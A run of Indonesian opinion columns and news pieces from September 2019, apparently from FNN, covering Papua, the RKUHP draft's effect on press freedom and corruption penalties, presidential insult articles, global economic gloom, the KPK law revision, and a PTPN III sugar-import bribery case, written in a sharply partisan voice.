bentuk pengingkaran terhadap kebenaran sejarah bangsa dan negara yang tersurat dalam Pancasila dan UUD 1945. Termasuk pengingkaran terhadap ketetapan suci bangsa indonesia yang diperjuangkan dengan keringat dan darah pejuang. Apa bedanya Papua minta merdeka yang dicap sebagai sebuah penghianatan terhadap NKRI dengan para elite politik negara yang mengganti sistem NKRI yang merupakan manifestasi budaya bangsa indonesia sebagai fakta sejarah. Tidak kah disebut pengkhianatan? Mengapa rakyat papua dituduh berkhianat sementara para elite bangsa indonesia yang merubah UUD 1945 bebas dari tuntutan?. Bukankah Penghianatan itu bentuk makar terhadap Bangsa Indonesia dan sejarahnya?. Apakah papua minta merdeka karena Pemerintah Pusat tidak adil "Berkhianat" Kepada sejarah yang berujung kesenjangan kepada papua?. Sudah barang tentu hal tersebut menjadi suatu mata rantai yang tidak terpisahkan. Logika struktur adalah dari pusat ke daerah. Pemerintah tidak adil "ngaco" pastinya daerah pun demikian. Harusnya pemerintah memberikan contoh kepada rakyatnya. Bagai air mengalir dari hulu ke hilir, kalau hulunya kotor pasti hilir ikut keruh. Apakah kedua kejadian ini memiliki kesamaan?. Karena papua menyuarakan merdeka disebut sebagai penghianatan kepada NKRI dan para elite negara yang mengganti UUD 1945 sebagai budaya bangsa indonesia menjadi budaya asing tidak disebut penghianatan kepada NKRI?. Seyogyanya sistem NKRI ini harus sejalan dengan 20 Mei 1908, 2 Mei 1920, 28 Oktober 1928, 1 Juni 1945, 17 Agustus 1945 dan 18 Agustus 1945 malah diubah menjadi sistem asing yang potensinya membenturkan sesama anak bangsa. Padahal Papua adalah masalah laten yang terus-menerus terjadi dan dapat dipastikan akar masalah yang sesungguhnya. Jika elite negara di Jakarta benar-benar serius menyelesaikan masalah papua, sudah dari dulu masalah tersebut teratasi. Masalah papua adalah puncak gunung es dari berbagai persoalan di Indonesia. Lemahnya penegakan hukum, KKN yg kian menggila, politik yg oligarkis, dan krisis Ekonomi yg mengancam mengakibatkan sentimen muncul dari seluruh wilayah di Indonesia. Sentimen kedaerahan muncul karena lemahnya nalar berbangsa para elite, lemahnya nalar berbangsa karena basis logikanya sudah dirusak dengan pola sistem didalam amandemen UUD 1945. Jika para elite negara hanya mementingkan keluarganya, kelompoknya, partainya dan tidak menjalankan Amanat Penderitaan Rakyat (Ampera) maka keadaannya terus menerus terjadi seperti ini. Apalagi langkah-langkah yang ditempuh pemerintah hanya cenderung mengobati dan menggunakan cara-cara kuno “mengkambing-hitamkan” kelompok-kelompok tertentu sebagai peredam, maka kita akan menyaksikan keadaan yang sama di daerah lain di indonesia. Hari ini kita melihat gejolak di papua. Besok kita akan melihat semua daerah di indonesia melakukan hal yang sama. Luka di NKRI sudah meradang dan menganga. Hanya menunggu waktu dan momentum maka NKRI menjadi berserakan. Karena pengkhianatan terhadap sejarah bangsa berujung ketidakadilan. Sungguh mereka membuat makar kepada NKRI dan sejarahnya. Namun kebenaran bangsa akan mencari jalannya sendiri. Karena sadar atau tidak. Kita, Anak bangsa Indonesia sementara dilatih menjadi manusia penghianat yang mengingkari perjuangan pendahulu kita.

Ironisnya RKUHP: Ancaman Wartawan, Ringankan Koruptor

Anggota Dewan Pers Hendry Chairudin Bangun mengatakan lembaganya tak akan mengikuti aturan RKUHP jika kebijakan ini jadi disahkan. DP tetap akan mengacu pada UU Pers dalam menyelesaikan sengketa jurnalistik. Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Sejumlah pasal dalam Rancangan Kitab Undang-undang Hukum Pidana (RKUHP) yang akan disahkan DPR mengancam kebebasan pers. Salah satu isi pasal itu memuat ancaman penjara bagi orang yang dianggap menghina presiden. AJI Indonesia dan LBH Pers telah mencatat sedikitnya 10 pasal dalam RKUHP yang bisa mengancam kebebasan pers dan mengkhawatirkan adanya kriminalisasi wartawan. AJI menilai 10 pasal ini merupakan pasal karet atau bisa digunakan secara subjektif dan sewenang-wenang. “Kami khawatir kriminalisasi terhadap wartawan semakin banyak,” ungkap Ketua Bidang Advokasi AJI Sasmito pada Selasa (03/09/2019). RKUHP dijadwalkan untuk disahkan pada akhir September 2019 ini. Anggota Komisi Hukum DPR Taufiqulhadi memastikan, RKUHP tetap akan disahkan dalam rapat paripurna akhir bulan ini meskipun diwarnai protes. Sejak 2016, AJI telah melayangkan protes ke DPR untuk mencabut pasal-pasal yang dianggap bisa mengancam kebebasan pers. Tapi, hingga menjelang pengesahannya, sejumlah pasal yang diprotes tetap dipertahankan DPR. “Kita tidak melihat upaya dari pemerintah dan DPR untuk merawat kebebasan pers. Ini langkah yang kontradiktif terhadap kebebasan pers di Indonesia,” kata Sasmito. Dalam lima tahun terakhir, dalam catatan AJI, setidaknya ada 16 kasus kriminalisasi terhadap jurnalis. Umumnya, jurnalis ini dituduh menyebar fitnah dan pencemaran nama baik, dengan menggunakan UU Informasi dan Transaksi Elektronik (ITE). Reporters Without Borders for Freedom of Information (RSF) sendiri menempatkan indeks kebebasan pers di Indonesia pada peringkat 124 dari 180 negara selama tiga tahun berturut-turut. Artinya, indeks kebebasan pers di Indonesia jalan di tempat. “Peringkat tingkat kebebasan pers di tingkat internasional bisa menurun, dan bisa lebih buruk lagi,” lanjut Sasmito, seperti dilansir BBC.com, Rabu (4/9/2019). Anggota Dewan Pers Hendry Chairudin Bangun mengatakan lembaganya tak akan mengikuti aturan RKUHP jika kebijakan ini jadi disahkan. DP tetap akan mengacu pada UU Pers dalam menyelesaikan sengketa jurnalistik. “Karena DP itu dasar semua tindakannya itu UU Pers. Tidak mungkin pada UU yang lain,” katanya kepada BBC Indonesia, Selasa (03/09/2019). DP juga menunjukkan sikap yang sama dengan AJI dan LBH Pers: menolak sejumlah pasal yang mengancam kebebasan pers. “DPR sudah ketinggalan zaman, kalau masih (melihat) kinerja atau pekerjaan jurnalistik itu mengancam. Jadi, kami tentu saja berharap itu tidak jadi (disahkan) dilakukan,” kata Hendry yang akan menyampaikan kajian terkait pasal-pasal bermasalah ini ke DPR. Sementara itu, Pakar Hukum Pidana dari Universitas Trisakti, Abdul Fickar Hadjar, menilai RKUHP ini sebagai produk kebijakan 'tindak pidana pers'. Padahal, kata dia, jurnalis atau hal terkait aktivitas jurnalistik tak bisa langsung dipidana. “Mestinya harus hati-hati merumuskan atau mengkriminalisasi perbuatan yang mestinya bukan perbuatan kriminal. Karena memberitakan sendiri, itu bagian dari unsur demokrasi,” kata Fickar, Selasa (03/09/2019). Dari sederet pasal yang dikritik komunitas Pers, DPR mungkin hanya akan menambahkan keterangan Pasal 281 terkait dengan pemberitaan yang bisa mempengaruhi hakim. “Jadi, nanti hakim tidak sewenang-wenang menggunakan hal tersebut (mempidanakan). Tetapi tidak akan kita cabut,” ungkap anggota Komisi Hukum DPR Taufiqulhadi. Pasal tersebut akan diberikan keterangan lanjutan. Menurut Taufiq, dasar kemunculan pasal ini adalah menjaga wibawa pengadilan, terutama hakim. Dari hasil evaluasi, selama ini hakim yang mengadili sidang kasus yang sedang menjadi perhatian publik tertekan karena pers. “Ketika dia (hakim) hadir, kamera di dalam (ruang sidang). Hakim itu tidak hadir dengan dirinya, tapi dia akan ditekan dari publik. Keputusannya, jadi apa yang terjadi tidak normal,” kata Taufiq. Sementara itu, Pasal 291 dan 241 tentang penghinaan terhadap presiden dan wakil presiden, DPR juga punya alasan serupa, menjaga kewibawaan kepala negara. “Jika tidak ada wibawa maka dia tidak memiliki kemampuan untuk memerintah secara baik,” tambah Taufiq. Namun, menurut Fickar, pasal-pasal ini masih kontroversial. Misalnya dalam Pasal 281, sulit bagi pers untuk dilarang meliput. “Karena ketika sidang dibuka, itu dinyatakan untuk umum. Artinya bisa dilihat siapa pun,” katanya. Begitu pula dengan Pasal 291 dan 241. Pasalnya, presiden merupakan posisi pejabat publik yang terbuka akan kritik, komentar dan pendapat. “Karena jabatan (presiden) memang untuk dikritisi. Yang nggak boleh itu ketika menyangkut pribadi,” tambahnya. Ringankan Koruptor Pasal-pasal yang menyangkut kebebasan pers, bertolak belakang dengan pasal-pasal untuk terpidana korupsi. Hukuman bagi koruptor yang diatur dalam sejumlah pasal dalam RKUHP lebih ringan jika dibandingkan dengan yang tertera pada UU Tipikor. Peneliti Pusat Kajian Anti Korupsi (Pukat) dari Universitas Gadjah Mada, Zaenur Rohman, menilai langkah ini akan membuat korupsi di Indonesia bisa semakin marak dan efek jera bagi koruptor akan berkurang. “Dari sisi ancaman pidana turun, menjadi berkurang ancamannya,” katanya kepada wartawan Muhamamd Irham untuk BBC News Indonesia, Rabu (04/09/2019). Selain itu, lanjut Zaenur, dengan berkurangnya ketentuan minimum denda kepada koruptor, akan semakin sulit mengembalikan kerugian negara. “Itu bahaya karena dengan hilangnya uang pengganti maka upaya pengembalian uang kejahatan itu menjadi susah,” katanya. Melansir BBC Indonesia, berdasarkan draf RKUHP, setidaknya ada 3 pasal mengenai pidana dan denda bagi koruptor yang bobot hukumannya lebih ringan ketimbang pasal-pasal dalam UU Nomor 31 Tahun 1999 sebagaimana telah diubah dalam UU Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. Pertama, Pasal 604 RKUHP mengenai perbuatan memperkaya diri serta merugikan keuangan negara berisi ancaman hukuman pidana selama dua tahun penjara. Padahal pada Pasal 2 UU Tipikor, hukuman untuk tindakan serupa diganjar paling singkat 4 tahun penjara dan paling lama 20 tahun penjara. Begitu pula dengan dendanya. Pasal 2 UU Tipikor menetapkan denda paling sedikit Rp 200 juta, namun pada pasal 604 RKUHP dendanya menjadi Rp 10 juta. Kedua, Pasal 605 RKUHP yang diambil dari Pasal 3 UU Tipikor tentang penyalahgunaan wewenang dan merugikan keuangan negara, sanksi dendanya lebih ringan dari Rp 50 juta menjadi Rp 10 juta. Ketiga, Pasal 607 Ayat (2) RKUHP yang diambil dari Pasal 11 UU Tipikor tentang penyelenggara yang menerima suap, ancaman hukumannya menjadi lebih ringan dari paling lama 5 tahun penjara menjadi 4 tahun penjara. Pada pasal ini juga, denda terpidana korupsi menjadi Rp 200 juta. Sedangkan denda untuk tindakan serupa diganjar Rp 250 juta pada UU Tipikor. Peneliti Pukat UGM Zaenur Rohman menilai DPR semestinya mencabut seluruh pasal UU Tipikor dari RKUHP. Alih-alih revisi pada KUHP, dia justru berharap ada revisi UU Tipikor sebagai penguatan lembaga Komisi Pemberantasan Korupsi (KPK) dengan memasukkan ketentuan dari United Nation Convention Against Corruption (UNCAC). UU Tipikor belum memenuhi seluruh standar dari UNCAC. Misalnya tentang korupsi di sektor swasta, korupsi yang dilakukan di negara lain. “Ini yang seharusnya diakomodir di dalam peraturan perundang-undangan, bukan malah mengaturnya di RKUHP,” jelas Zaenur. Pakar hukum pidana dari Universitas Trisakti, Abdul Fickar Hadjar, menilai kejahatan luar biasa (extraordinary crime) akan menjadi kejahatan biasa (ordinary crimes) ketika pasal-pasalnya masuk ke dalam RKUHP. Kejahatan luar biasa itu antara lain korupsi hingga terorisme yang sudah diatur dalam undang undang khusus. “Karena pengaturan secara rinci sudah ada di UU khusus itu,” ungkap Fickar, seperti dilansir BBC Indonesia, Rabu (04/09/2019). Jika pasal-pasal dalam UU yang khusus mengatur kejahatan luar biasa masuk dalam RKUHP, tingkat keseriusan dan bobot kejahatannya akan berkurang. “Karena dengan memasukkan ke KUHP, maka itu akan menjadi tindak pidana biasa. Nah, kita keberatan pada itu,” lanjutnya. Ia menyarankan DPR mencabut seluruh pasal-pasal terkait kejahatan luar biasa yang diatur khusus dari RKUHP. “Sebaiknya, UU extraordinary crimes itu tetap berada di luar KUHP,” kata Fickar. Itulah fakta yang terjadi terkait RKUHP. Antara “ancaman” terhadap wartawan dengan para koruptor diperlakukan berbeda. Kriminalisasi pada wartawan atau warganet yang mengkritisi kebijakan Presiden bisa dianggap “menghina presiden”. Tampaknya, pasal “menghina presiden” ini sengaja dipertahankan DPR bukan semata-mana untuk menjaga kewibawaan Presiden Joko Widodo. Tapi, sebagai “jaminan keamaman” dari DPR kepada Presiden Jokowi. Seperti diketahui, selama 4 tahun terakhir, menjelang akhir jabatan, Presiden Jokowi banyak dikritisi oleh wartawan maupun warganet terkait dengan kebijakannya yang dianggap telah merugikan rakyat. Inilah yang sering ditulis wartawan yang kritis. Untuk mengantisipasi dan membungkam “suara rakyat” itulah maka Presiden Jokowi diberi “jaminan keamanan” oleh DPR. Sebagai balasannya, koruptor diringanin hukumannya.

Yang Harus Dilarang Itu Memuja-muji Presiden, Bukan Menghinanya

Karena itu, salah besar kalau kita berasumsi bahwa kemuliaan seorang presiden bisa diciptakan dengan pembuatan pasal-pasal penghinaan. Sangat keliru dan sangat feodalistik jika Anda berpendapat bahwa seorang presiden akan mengukir kemuliaan dengan memenjarakan para penghinanya. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Kabarnya, saat ini sedang diproses pembuatan pasal-pasal tentang penghinaan presiden. Pasal-pasal itu telah dicantumkan ke dalam RKUHP (Rancangan Kitab Undang-undang Hukum Pidana). Sudah disepakati oleh DPR. Tinggal ketuk palu. Kalau sudah diketuk, para terdakwa penghina bisa masuk penjara empat setengah tahun. Presiden mungkin puas bisa memenjarakan orang yang menghina dia. Tapi salah kaprah. Kalau pasal penghinaan presiden disahkan. Rugilah rakyat. Rugi besar. Kenapa? Karena beberapa hal. Pertama, seorang presiden pada dasarnya adalah orang yang hina. Dia mengemis kepada rakyat minta dipilih menjadi presiden. Sering pula dia terpaksa membeli suara. Hina sekali, bukan? Kedua, presiden itu pejabat publik. Dia pasti sudah tahu risiko yang akan dihadapi. Presiden itu dipilih bukan untuk dipuji-puji. Dia didudukkan untuk dikritik. Dikritik tajam. Saking tajamnya terkadang tak beda dengan penghinaan. Sebetulnya presiden tidak perlu tersinggung, atau merasa terhina. Sebab, dia sudah dimuliakan secara konstitusional. Dia menjadi kepala negara, dia menjadi panglima tertinggi, dan dia dibekali kekuasaan yang besar. Dengan kekuasaannya itu, presiden dimuliakan di mana-mana. Dia juga banyak dipuji dan ditakuti. Para jenderal bintang empat selalu merunduk di depan dia. Singkatnya, kemuliaan yang paling masif untuk manusia, ada pada presiden. Karena itu, sangat wajar kalau kemuliaan presiden itu diimbangi dengan penghinaan. Tentunya penghinaan yang memiliki dasar yang masuk akal. Supaya dia tidak menjadi angkuh. Tidak sombong. Kalau si presiden memang hebat, visioner, adil, taat, tidak korupsi, maka hampir pasti tidak ada alasan untuk menghina dia. Tapi, kalau sebaliknya si presiden sok pintar, sok kuasa, tidak memihak rakyat, dan kerjanya menggadaikan kedaulatan negara, maka sangat wajarlah dia dihina baik disengaja apalagi tak disengaja. Karena dia memang hina. Ketiga, presiden itu perlu dihina agar Indonesia ini bisa memiliki kepala negara yang tangguh, jujur, dan berkemampuan. Sehingga, di masa-masa selanjutnya otomatis akan muncul tokoh yang mendekati kesempurnaan. Yang tak mampu paati tak berani muncul. Keempat, presiden yang mulia itu tidak pernah merasa hina. Sebagai contoh, Gubernur DKI Anies Baswedan tidak pernah merasa teesinggung atau terhina di tengah hujan penghinaan terhadap dirinya. Anies malah merasa terhormat ketika dia dihina. Karena dia yakin dirinya tidak hina dan apa yang dia kerjakan sebagai gubernur juga tidak hina. Dia tidak punya beban keterhinaan. Nah, orang seperri Anies ini, kalau dia menjadi presiden, tidak akan menuntut pembuatan pasal penghiinaan presiden. Karena bagi dia, penghinaan akan dijadikan peluang untuk menunjukkan jati diri yang sesungguhnya. Anies tidak perlu dibantu dengan pasal-pasal penghinaan untuk meraih kemuliaan. Karena itu, salah besar kalau kita berasumsi bahwa kemuliaan seorang presiden bisa diciptakan dengan pembuatan pasal-pasal penghinaan. Sangat keliru dan sangat feodalistik jika Anda berpendapat bahwa seorang presiden akan mengukir kemuliaan dengan memenjarakan para penghinanya. Jadi, demi Indonesia yang lebih baik, yang harus dilarang adalah memuja-muji presiden. Bukan menghinanya. Bukti sejarah menunjukkan bahwa rata-rata presiden terjerembab dalam kehinaan karena puja-puji. Sebaliknya, seorang presiden yang pantas dimuliakan akan tetap mulia meskipun dia setiap hari dia dihina-hina.

Langit Suram Ekonomi Dunia

Argentina dalam kubangan krisis. Dan ekonomi terbesar ketiga di kawasan Amerika Latin tersebut tengah berjuang menghindari krisis yang kian dalam. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Awan pekat menyelimuti ekonomi global. Para investor berupaya menyelamatkan asetnya. Mereka menahan diri untuk mengembangkan duitnya. Sejumlah negara sudah masuk jurang resisi. Sampai kini, kondisi masih sulit diprediksi. Perang dagang antara China dan Amerika Serikat memperburuk keadaan. Belum lagi pengaruh hard Brexit dan krisis Argentina Sejak Senin (2/9) dini hari, rakyat Argentina antre di bank-bank untuk menarik dana mereka, jauh sebelum bank buka. Para nasabah ini menunggu untuk menarik dana setelah pemerintah Argentina memberlakukan kontrol mata uang sebagai upaya menstabilkan pasar keuangan, sejak Minggu (1/9). Argentina dalam kubangan krisis. Dan ekonomi terbesar ketiga di kawasan Amerika Latin tersebut tengah berjuang menghindari krisis yang kian dalam. Langkah-langkah sementara tersebut memungkinkan pemerintah membatasi pembelian mata uang asing setelah terjadi kemerosotan nilai mata uang peso yang sangat sensitif. Saat ini, semua perusahaan harus meminta izin dari bank sentral Argentina untuk menjual peso dan membeli mata uang asing untuk melakukan transfer ke luar negeri. Langkah terbaru tersebut mengikuti pengumuman pemerintah untuk menunda pembayaran utang sebesar US$100 miliar. Lembaga pemeringkat Standard and Poor's (S&P) mengatakan, surat utang tersebut telah masuk dalam ketegori default atau berpeluang gagal bayar. Nilai tukar peso jatuh ke titik terendahnya bulan lalu, atau merosot hingga lebih dari 30% sejak pemilihan umum pada Agustus 2019. Pelaku pasar mengharapkan beberapa bentuk kontrol modal dari pemerintah Argentina. Namun, ada yang khawatir langkah itu dapat membahayakan pencairan dana IMF terbaru dari program bailout bersejarah senilai US$57 miliar. Tak hanya Argentina. Aura gloomy sudah menerpa berbagai negara. Turki berada di pintu neraka resesi. Pada periode April-Juni 2019, ekonomi Negeri Kebab itu terkontraksi alias negatif 1,5% year-on-year (YoY). Pada kuartal sebelumnya, kontraksi ekonomi Turki lebih dalam yaitu minus 2,4% YoY. Definisi resesi adalah kontraksi ekonomi dua kuartal beruntun secara YoY pada tahun yang sama. Mengacu pada definisi ini, Turki sudah masuk ke jurang resesi. Data Purchasing Managers' Index Awan gelap juga menyelimuti sejumlah negara. Salah satu indikator yang dipantau oleh pasar adalah data Purchasing Managers' Index (PMI). Data ini memberi gambaran apakah dunia usaha melakukan ekspansi, menahan diri, atau justru mengalami kontraksi. Di AS, angka PMI manufaktur versi ISM untuk Agustus berada di 49,1. Turun dibandingkan bulan sebelumnya yang sebesar 51,2. Angka PMI di bawah 50 berarti dunia usaha tidak ekspansif, justru terkontraksi. Oleh karena itu, sudah nyata terlihat bahwa para industriawan di Negeri Paman Sam kurang gairah dan kurang tenaga. Lebih sedih lagi, PMI AS di bawah 50 baru kali pertama terjadi sejak Januari 2016. Negara-negara lain tak jauh beda. PMI Singapura versi IHS/Markit periode Agustus tercatat 48,7. Turun dibandingkan bulan sebelumnya yang 51. Dunia usaha di Negeri Singa sedang letoy. Angka PMI Agustus ini menjadi yang paling rendah dalam tujuh tahun terakhir. PMI Hong Kong versi Markit pada Agustus tercatat 40,8, turun dibandingkan bulan sebelumnya yang sebesar 43,8. Lagi-lagi angka di bawah 50. Sudah 17 bulan terakhir dunia usaha di bekas koloni Inggris ini mengalami kontraksi. Bahkan angka Agustus menjadi yang terendah sejak Februari 2009. Selamatkan Aset Ekonomi benar-benar dalam ketidakpastian. “Semakin ke sini semakin sulit memperkirakan arahnya ke mana. Ini juga dipengaruhi hard Brexit dan krisis Argentina," kata Direktur Eksekutif Departemen Pengelolaan Moneter Bank Indonesia (BI), Nanang Hendarsah, seperti dikutip CNBC Indonesia, Rabu (4/9). Saat ini, nilai tukar negara maju dengan kekuatan ekonomi besar tengah melemah. Yen melemah, franc melemah, sebagai safe haven baru. Sedangkan rupiah membaik, tapi tidak bergerak banyak. Sejak awal tahun rupiah masih terapresiasi 1%. Padahal emerging market semua terdepresiasi secara year to date. Nanang memperingatkan, meski ada outflow karena ketidakpastian global, tetap waspada. “Setiap hari bisa berubah. Risk dari trade war ini harus dianggap biasa, karena tak ada outlook yang jelas," terangnya. Sinyal lain juga diperlihatkan Berkshire Hathaway Inc., perusahaan induk milik investor ternama di pasar saham dunia, Warren Buffett. Perusahaan ini membukukan total kas hingga US$122 miliar atau setara dengan Rp1.732,4 triliun hingga akhir Juni 2019. Tingginya likuiditas perusahaan berkode saham BRK di New York Stock Exchange (NYSE) ini menjadi 'peringatan' bagi pelaku pasar karena secara tidak langsung investasi di pasar saham dinilai terlalu mahal dan bisa juga menjadi indikasi kesulitan keuangan dalam waktu dekat. Pasalnya jumlah kas yang luar biasa besar tersebut sejatinya dapat digunakan untuk meningkatkan porsi kepemilikan atas saham Apple, Amazon, Bank of America atau bisa juga dimanfaatkan mengakuisisi perusahaan sebagaimana yang dilakukan Buffet sebelumnya. Akan tetapi, Buffet memilih untuk tidak menggunakannya. BRK membawahi sekitar 66 perusahaan di antaranya General Re, Duracell, Helzberg Diamonds, Benjamin Moore & Co, Berkshire Hathaway Automotive, dan Justin Brands. Posisi kas BRK pada semester I-2019 setara dengan 60% dari total portofolio perusahaan dengan nilai mencapai US$208 miliar. Bloomberg mencatat bahwa dalam 32 tahun terakhir, jumlah kas yang mendominasi portofolio BRK hanya tercatat pada tahun-tahun menjelang krisis, seperti krisis keuangan 2008, dikutip dari Market Insiders. Menerawang langit ekonomi yang tampak suram, sulit memprediksi apa yang bakal terjadi ke depan. Bagi investor, ketimbang menduga-duga dengan diliputi rasa cemas, lebih baik wait and see dulu. End

Sahkan Revisi UU KPK, DPR Tak Mau Korupsi Dibasmi

Saya tak menemukan kata lain yang lebih pas untuk menggambarkan manuver orang-orang yang ingin mengebiri KPK: kurang ajar. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Waspadai manuver para koruptor. Sekarang, wewenang Komisi Pemberantasan Korupsi (KPK) akan dipangkas habis. Tidak ada gunanya lagi. Yang berkuasa nantinya adalah Dewan Pengawas (DP) KPK. Ada semacam “board of directors” (dewas direktur) yang akan mengendalikan kerja KPK. Hampir pasti, para koruptor atau siapa saja yang berkepentingan akan bisa menyusup ke DP. Mereka bisa ‘order’ apa yang mereka inginkan. Bisa ‘order’ agar kasus si anu dihentikan, agar kasus ini dikaburkan, agar kasus itu didiamkan. Satu kata: kurang ajar. Saya tak menemukan kata lain yang lebih pas untuk menggambarkan manuver orang-orang yang ingin mengebiri KPK. Proses pengebirian ini berlangsung di DPR. Atas inisiatif lembaga wakil rakyat ini. Hebatnya, semua fraksi setuju. Yang mereka sepakati itu adalah revisi UU No. 30 tahun 2002 tentang KPK, kemarin (Kamis, 5/9/2019) Ini poin-poin penting yang akan membuat KPK menjadi singa ompong. Pertama, KPK akan dilengkapi Dewan Pengawas (DP). Kekuasaan DP ini sangat besar. Kedua, komisioner KPK harus minta izin ke DP untuk melakukan penyadapan telefon dan penggeledahan. Kalau DP tak setuju, tidak bisa dilaksanakan. Ini tentu celah yang berbahaya. Oknum DP bisa saja nanti memberitahukan operasi penyadapan kepada terduga yang mau disadap. Ketiga, KPK boleh menghentikan penyidikan atas sesuatu kasus. Bisa diterbitkan semacam SP3. Ini juga bisa membuka peluang untuk ‘deal’. Nantinya bisa saja oknum DP mengarahkan agar kasus seseorang dihentikan saja oleh KPK. Yang tak kalah penting adalah status karyawan KPK akan disamakan seperti ASN. Mereka akan menjadi pegawai negeri biasa. Tunduk pada semua aturan tentang ASN. Revisi ini sangat berbahaya. KPK tidak punya keistimewaan lagi. Hampir pasti OTT tidak akan semudah dan seseru sekarang. Sebab, OTT hanya bisa dilakukan dengan penyadapan telefon. Ini yang justeru dipangkas oleh DPR. Siapa yang berkepentingan dengan revisi ini? Semua fraksi setuju. Itu artinya, semua fraksi merasa OTT KPK mengancam kader mereka, baik yang duduk di DPR maupun yang duduk sebagai kepala daerah (gubernur, bupati atau walikota). Selama ini, para gubernur dan bupati-walikota yang kena OTT berasal dari hampir semua fraksi di DPR. Yang paling banyak adalah dari fraksi PDIP. Dan di DPR-RI, fraksi PDIP-lah yang terbesar. Itu artinya, revisi ini menjadi tanggung jawab PDIP. Mereka inilah yang menjadi penentu di DPR. Kalau mereka tak setuju, pasti revisi tidak akan terjadi. Fraksi yang kedua adalah Golkar. Partai ini juga mencatat sekian banyak kadernya dijaring KPK lewat OTT. Begitu juga Partai Nasdem, Partai Demorkrat, Partai Gerindra, dll. Jadi, publik sekarang tahu bahwa DPR tidak menghendaki korupsi diberantas dan dicegah di Indonesia ini. Mereka sebaliknya menginginkan agar kader-kader mereka tetap bisa bebas mencuri uang negara atau memperkaya diri sendiri melalui wewenang yang mereka miliki di jajaran eksekutif, legislatif, maupun yudikatif. Ketua KPK Agus Rahardjo menggelar jumpa pers, kemarin (5/9/2019). Dia mengatakan KPK sedang beradada di ujung tanduk. Agus tidak menjelaskan apakah itu tanduk banteng PDIP atau tanduk-tanduk yang sedang bermunculan di kepala para anggota DPR yang sangat bersemangat dengan revisi ini. Diberitakan bahwa DPR akan memburu pengesahan revisi sebelum masa jabatan mereka berakhir bulan depan.*** 6 September 2019

Anak Kesayangan Rini Soemarno Terjerat Manisnya Gula

Oleh Rudi S Kamri Jakarta, FNN - Kemaren Pimpinan KPK mengumumkan hasil Operasi Tangkap Tangan (OTT) terhadap I Kadek Kertha Laksana, Direktur PT Perkebunan Nusantara (PTPN) III. Setelah ditelusuri, Kadek Kertha ternyata hanya orang suruhan dari Direktur Utama PTPN III Dolly P Pulungan. OTT ini terkait kongkalikong impor gula dan hal ini terkait juga dengan boss besar raksasa importir gula PT Fajar Mulia Transindo, Pieko Nyotosetiadi. KPK menduga suap sebesar SGD 345.000 bukan yang pertama diterima Dolly dari Pieko. Dan saya juga sangat percaya dan meyakini dugaan dari KPK tersebut. Karena dengan melihat kebutuhan gula nasional yang mencapai sekitar 6 juta ton per tahun dan produksi domestik hanya sekitar 2,5 juta ton. Masih ada 3,5 juta ton gula yang harus diimpor oleh PTPN III selaku holding BUMN Perkebunan. Dan PT Fajar Mulia Transindo adalah pemain besar dalam importir gula. Jadi sudah bisa anda bayangkan berapa besarnya uang yang bermain dalam patgulalipat bisnis gula ini. Jadi sangat masuk akal dugaan KPK bahwa uang suap SGD 345 ribu bukan keseluruhan fee atas permufakatan jahat ini. Siapakah Dolly Pulungan? Laki-laki kelahiran Surabaya, 25 Oktober 1963 ini dikenal publik merupakan salah satu anak kesayangan Menteri BUMN Rini Soemarno. Karena kedekatannya dengan sang ibu Menteri yang lajang ini, Dolly bisa leluasa mengelana di beberapa BUMN. Dalam hitungan bulan, seseorang bisa menduduki jabatan pimpinan puncak di beberapa BUMN. Ini luar bisa TAPI sangat tidak wajar. Dan ini dialami oleh seorang Dolly Pulungan. Sebagai catatan, Dolly Pulungan pernah tercatat sebagai Direktur Keuangan PTPN X, Direktur Utama PTPN XI, Direktur Utama Berdikari dan Direktur Utama PT Garam (Persero). Masih panjang lagi pengelanaan Dolly, September 2017 diangkat jadi Direktur Utama PTPN VII, hanya beberapa bulan disana dia lalu diangkat jadi Wakil Direktur Utama PTPN III cuma sesaat lalu hap.... Februari 2018 Dolly meloncat jadi Direktur Utama PTPN III yang merupakan perusahaan induk BUMN perkebunan. Waaaar byaasaah...... Bagaimana mungkin hanya dalam hitungan bulan seseorang bisa meloncat ke sana ke mari menjelajah beberapa BUMN? Kenapa tidak mungkin? Bagi orang yang tergabung dalam kelompok paduan suara "Rini Boys" tidak ada yang tidak mungkin. Tapi waktu membuktikan, tidak selamanya mereka bisa tertawa-tawa jumawa. Kali ini salah seorang anggota "Rini Boys" tersungkur dan terjerat manisnya gula. Syukur Alhamdulillah. Kelakuan jahat para mafia gula ini jelas merupakan pengkhianatan terhadap kepercayaan yang diberikan oleh Presiden Jokowi kepada Menteri BUMN dan anak buahnya dalam penyediaan kebutuhan gula nasional. Hal ini juga berakibat penyengsaraan rakyat karena menyebabkan harga gula menjadi tinggi. Apakah harus didiamkan ? Sebagai bagian dari rakyat kecil yang masih mengkonsumsi gula, saya harus marah dengan kongkalikong para begundal pemburu rente ini. Suara rakyat ini harus didengarkan oleh Presiden Jokowi agar jangan lagi ada orang yang berkuasa mutlak atas perusahaan negara seperti Rini Soemarno dalam kabinet Jokowi jilid II nanti. Karena akan menciptakan persekutuan jahat yang menyebabkan rakyat menanggung akibatnya. Dolly Pulungan hanya pemain kroco dan remah rengginang dalam permainan jahat ini. Dia harus dihukum berat agar menciptakan efek jera yang kuat. Tapi tidakkah Sang Menteri tidak tahu menahu dan bebas kecipratan dari uang setan ini ? Entahlah saya tidak yakin..... Saatnya bersih-bersih kolam Bapak Presiden !!! Salam SATU Indonesia.

Sri, Sebenarnya Kamu Kerja untuk Siapa?

